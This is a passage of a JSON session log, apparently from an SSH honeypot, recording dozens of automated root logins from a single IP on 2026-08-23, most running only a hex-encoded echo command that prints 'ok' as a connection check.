  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:57.452774+00:00",
  "ended_at": "2026-08-23T09:07:59.170556+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8f1713f1-7585-478f-9d95-62a780b37d47",
  "name": "stoic-ashen-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49182,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:55.592709+00:00",
  "ended_at": "2026-08-23T09:07:56.720192+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e1771030-a2a5-4d11-a5bb-c1acf75e6dd7",
  "name": "earnest-rambling-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49180,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:52.672133+00:00",
  "ended_at": "2026-08-23T09:07:54.895793+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ed03d521-52cf-4600-b622-a2191cda70e5",
  "name": "dusty-glacial-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49176,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:51.039143+00:00",
  "ended_at": "2026-08-23T09:07:51.973783+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8efc22e2-714b-45f6-b557-5dbba23c1988",
  "name": "solemn-airy-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39480,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:48.138098+00:00",
  "ended_at": "2026-08-23T09:07:50.245693+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "96169bd0-6e5e-4e5f-b4b9-276764a3e6b7",
  "name": "cobalt-tangled-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39464,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:46.391205+00:00",
  "ended_at": "2026-08-23T09:07:47.453236+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4db791ad-1d40-4e87-9e06-148d1102ac88",
  "name": "bronzed-inland-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39450,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:44.446440+00:00",
  "ended_at": "2026-08-23T09:07:45.740123+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "43b4532b-85e2-4fce-98cf-810a0b70be32",
  "name": "steady-subtle-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39444,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:42.482059+00:00",
  "ended_at": "2026-08-23T09:07:43.628913+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0da0311f-d402-4f13-9885-c9e765c40b77",
  "name": "vigilant-sooty-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39438,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:40.305287+00:00",
  "ended_at": "2026-08-23T09:07:41.625025+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b9689842-0538-4919-a9e1-1f3e831c05a0",
  "name": "glassy-scarlet-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52098,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:37.406398+00:00",
  "ended_at": "2026-08-23T09:07:39.513206+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c77b22f3-fb94-4d86-b9cf-1a0d91dd7824",
  "name": "gritty-fleeting-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52082,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:34.684261+00:00",
  "ended_at": "2026-08-23T09:07:36.773003+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4888dfb4-6f8d-4a37-a5f7-f05344eeb727",
  "name": "ginger-amber-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52066,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:32.409890+00:00",
  "ended_at": "2026-08-23T09:07:33.847094+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b023c51c-b17a-46dd-8dcc-bdd85be538ac",
  "name": "tidal-arctic-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52050,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:30.449551+00:00",
  "ended_at": "2026-08-23T09:07:31.636162+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "058ac006-3e91-42c5-8182-bfa0182d6e87",
  "name": "canny-quiet-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59962,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:28.338072+00:00",
  "ended_at": "2026-08-23T09:07:29.800078+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0eb18bda-2f42-4253-8ace-7bf0c4ec7097",
  "name": "zealous-quaint-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59958,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:26.218001+00:00",
  "ended_at": "2026-08-23T09:07:27.563900+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9259197e-f7f4-45f1-ac55-3283c0e0782d",
  "name": "quaint-regal-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59956,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:23.706257+00:00",
  "ended_at": "2026-08-23T09:07:25.546128+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cc24da9a-899a-4f19-ae13-74910d4baef6",
  "name": "watchful-frosty-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59950,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:21.691375+00:00",
  "ended_at": "2026-08-23T09:07:22.944005+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c83855cd-9c2b-48f8-a901-23f574017f34",
  "name": "watchful-cosmic-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34420,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:15.974401+00:00",
  "ended_at": "2026-08-23T09:07:20.939307+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "91a6943e-4f57-4c9a-8183-cadf25c5a296",
  "name": "quiet-brazen-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34418,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:14.079331+00:00",
  "ended_at": "2026-08-23T09:07:15.284231+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6774cb4c-d478-4e2b-8504-36d5161db532",
  "name": "boreal-electric-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34406,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:12.481040+00:00",
  "ended_at": "2026-08-23T09:07:13.367425+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f0445067-0351-4b2a-b959-8361c696d393",
  "name": "jaunty-wiry-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34390,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:10.580542+00:00",
  "ended_at": "2026-08-23T09:07:11.676152+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9bc5fe2f-b39d-48de-be3e-266ce567e582",
  "name": "grumpy-lunar-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43958,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:07.971198+00:00",
  "ended_at": "2026-08-23T09:07:09.859080+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "81453e5b-d119-4915-9f6a-c1c884c4dde2",
  "name": "steady-bitter-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43944,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:03.310731+00:00",
  "ended_at": "2026-08-23T09:07:07.171185+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4098c914-3a2f-44a0-87d8-e1842f9894f6",
  "name": "fleeting-loyal-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43928,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:07:01.638442+00:00",
  "ended_at": "2026-08-23T09:07:02.676269+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9ef1262f-97d2-4a5c-8424-991bfe29f544",
  "name": "smoky-thrifty-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43926,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:59.608961+00:00",
  "ended_at": "2026-08-23T09:07:00.791843+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8ade6fdc-7541-4cc7-aa49-612eb38daa17",
  "name": "icy-hazy-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52372,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:57.970736+00:00",
  "ended_at": "2026-08-23T09:06:58.884856+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "210422bf-a006-44d9-8eea-7daf81333cd9",
  "name": "western-mindful-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52356,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:55.272010+00:00",
  "ended_at": "2026-08-23T09:06:57.312964+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3d6023f2-ecf4-4a4a-ad8b-8b79757df54f",
  "name": "gloomy-courtly-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "135.125.29.129",
  "src_port": 52352,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T09:06:53.449851+00:00",
  "ended_at": "2026-08-23T09:06:54.516773+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e89a17cb-2862-4106-97db-380db77f276e",
  "name": "hidden-coral-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52338,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:52.066719+00:00",
  "ended_at": "2026-08-23T09:06:53.139172+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "602daf2d-a9db-4f82-a9b6-3aa97f1c4b56",
  "name": "spirited-lively-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52328,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:49.443586+00:00",
  "ended_at": "2026-08-23T09:06:51.270266+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6423b149-fb67-4731-9b18-3ded4e6afc56",
  "name": "prairie-glacial-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35928,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:47.114663+00:00",
  "ended_at": "2026-08-23T09:06:48.634898+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ddf38ff7-8e00-47d0-9263-7a202b72e82b",
  "name": "languid-creaky-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35920,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:45.124569+00:00",
  "ended_at": "2026-08-23T09:06:46.393580+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6fe55b34-7c0b-4820-b8b0-6df8d62c14cf",
  "name": "reedy-daring-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35910,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:42.977267+00:00",
  "ended_at": "2026-08-23T09:06:44.467950+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7cc0373c-3c1c-4ecd-a26e-aa44cd55c6cc",
  "name": "reedy-ancient-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35894,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:40.989554+00:00",
  "ended_at": "2026-08-23T09:06:42.171340+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a70df591-4aa6-4c5b-9f98-52fc3b6384ed",
  "name": "earnest-drifting-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52334,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:38.650689+00:00",
  "ended_at": "2026-08-23T09:06:40.156017+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dc243d1f-9fe8-46f9-92e9-c6dfd8884e2c",
  "name": "brave-coastal-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52320,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:36.891571+00:00",
  "ended_at": "2026-08-23T09:06:37.889247+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3322d13a-f906-42a7-8cce-57fd2d4dbcad",
  "name": "grassy-snowy-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52306,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:34.329881+00:00",
  "ended_at": "2026-08-23T09:06:36.227037+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c3f165e0-c173-4ba3-a594-df890593f27d",
  "name": "misty-coral-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52290,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:32.036735+00:00",
  "ended_at": "2026-08-23T09:06:33.605200+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c766011b-fbfe-4aed-bf5b-92c9c88276aa",
  "name": "knotted-emerald-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52288,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:30.150074+00:00",
  "ended_at": "2026-08-23T09:06:31.317092+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f788bdfc-6fd1-412a-a632-74933b244a05",
  "name": "somber-dapper-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43890,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:24.644661+00:00",
  "ended_at": "2026-08-23T09:06:29.407534+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "befa0059-44f9-4d43-ae2e-32fd98c95125",
  "name": "lunar-russet-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43878,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:22.627973+00:00",
  "ended_at": "2026-08-23T09:06:23.858318+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "92106f41-fb90-48bc-bd46-d31a68b1aded",
  "name": "fickle-weathered-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43874,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:20.595117+00:00",
  "ended_at": "2026-08-23T09:06:21.908289+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "85dc8397-8637-46fd-946e-671354ee28f2",
  "name": "nautical-jovial-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44060,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:18.118649+00:00",
  "ended_at": "2026-08-23T09:06:19.951188+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e5e1a294-11b6-413b-8c30-071302fb94cc",
  "name": "curious-western-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44050,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:15.411687+00:00",
  "ended_at": "2026-08-23T09:06:17.306988+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fc0fc136-50c3-4143-8606-84f451ea90f8",
  "name": "shifting-glassy-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44042,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:13.557241+00:00",
  "ended_at": "2026-08-23T09:06:14.760324+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "da1c4ad8-292d-4a06-af75-38ac2eda4ea9",
  "name": "nautical-merry-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44038,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:10.810687+00:00",
  "ended_at": "2026-08-23T09:06:12.714372+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "db55c3cc-f40d-4efa-bbcb-f28d354cfb46",
  "name": "shifting-quiet-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44026,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:08.978691+00:00",
  "ended_at": "2026-08-23T09:06:10.174835+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "577073e7-a5a3-4f9d-9c09-685ad12b0fe9",
  "name": "primal-sincere-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52068,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:06.010111+00:00",
  "ended_at": "2026-08-23T09:06:08.254606+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c5857595-a64e-4faf-82e5-cfb554c4217d",
  "name": "breezy-mellow-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52060,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:06:03.022122+00:00",
  "ended_at": "2026-08-23T09:06:05.226924+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bcf86339-6ee2-40d1-aa07-9b5927a54ca1",
  "name": "kindly-painted-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52058,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
